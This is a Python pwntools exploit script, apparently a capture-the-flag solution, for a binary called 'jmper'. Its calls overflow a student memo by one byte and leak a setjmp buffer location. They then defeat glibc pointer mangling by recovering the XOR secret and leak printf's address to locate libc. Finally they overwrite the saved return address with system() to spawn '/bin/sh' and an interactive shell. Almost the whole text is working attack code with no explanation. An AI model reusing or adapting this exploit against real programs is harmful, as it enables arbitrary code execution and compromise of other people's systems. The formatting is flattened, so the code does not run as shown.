1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131
| from pwn import *
context.arch='amd64'
LOCAL = True
if LOCAL: p = process('./jmper',raw=False) else: p = remote('127.0.0.1',10001)
elf = ELF('./jmper') libc = ELF('./libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e') printf_got = elf.got['printf']
def rerol(d): return ((d<<(64-0x11))+(d>>0x11))&0xffffffffffffffff
def rol(d): return ((d<<0x11) + (d>>(64-0x11)))&0xffffffffffffffff
def add_student(): p.recvuntil(':)') p.sendline('1')
def name_student(id,name): p.recvuntil(':)') p.sendline('2') p.recvuntil('ID:') p.sendline(str(id)) p.recvuntil('name:') p.sendline(str(name))
def memo_student(id,memo): p.recvuntil(':)') p.sendline('3') p.recvuntil('ID:') p.sendline(str(id)) p.recvuntil('memo:') p.sendline(str(memo))
def show_name(id): p.recvuntil(':)') p.sendline('4') p.recvuntil('ID:') p.sendline(str(id))
def show_memo(id): p.recvuntil(':)') p.sendline('5') p.recvuntil('ID:') p.sendline(str(id))
def exit_(): p.recvuntil(':)') p.sendline('6')
def get_shell(): for __ in xrange(0,25): add_student() add_student()
def main(): log.info('printf got : %s' % (hex(printf_got))) add_student() add_student() add_student() add_student() add_student()
name_student(0,'A') name_student(1,'B') name_student(2,'C') name_student(3,'D') name_student(4,'E')
memo_student(0,'a') memo_student(1,'b') memo_student(2,'c') memo_student(3,'d') memo_student(4,'e')
memo_student(1,'c' * 0x20 + '\xe8') name_student(1,'A') show_name(1) dump = p.recvline() jmp_buffer_lsw = ((ord(dump[1]) &0xf0) << 8) | 0x110 log.info("Got jmpbuffer offset %x" % jmp_buffer_lsw)
rip_addr = jmp_buffer_lsw + 0x38 name_student(1,p16(rip_addr)) show_name(2) dump = p.recvline() rip_stored = unpack(dump[:8]) log.info("Got stored rip : %s" % hex(rip_stored)) rip = rerol(rip_stored) secret_xor = rip ^ 0x400c31 log.info("Got xor vaule : %s" % hex(secret_xor))
rip_addr = jmp_buffer_lsw name_student(1,p16(rip_addr)) name_student(2,"/bin/sh")
name_student(1,p64(printf_got)) show_name(2) printf_addr = u64(p.recv(6).ljust(8,'\x00')) log.info('leak printf : %s' % hex(printf_addr))
libc_base = printf_addr - libc.symbols['printf'] system_addr = libc_base + libc.symbols['system'] log.info('system addr : %s' % hex(system_addr))
new_rip = system_addr ^ secret_xor new_rip = rol(new_rip) log.info('New rip is : %s' % hex(new_rip)) memo_student(3,"D" * 0x20 + "\xc8") name_student(3,p16(jmp_buffer_lsw+0x38)) name_student(4,p64(new_rip))
get_shell() p.interactive()
if __name__ == '__main__': main()
|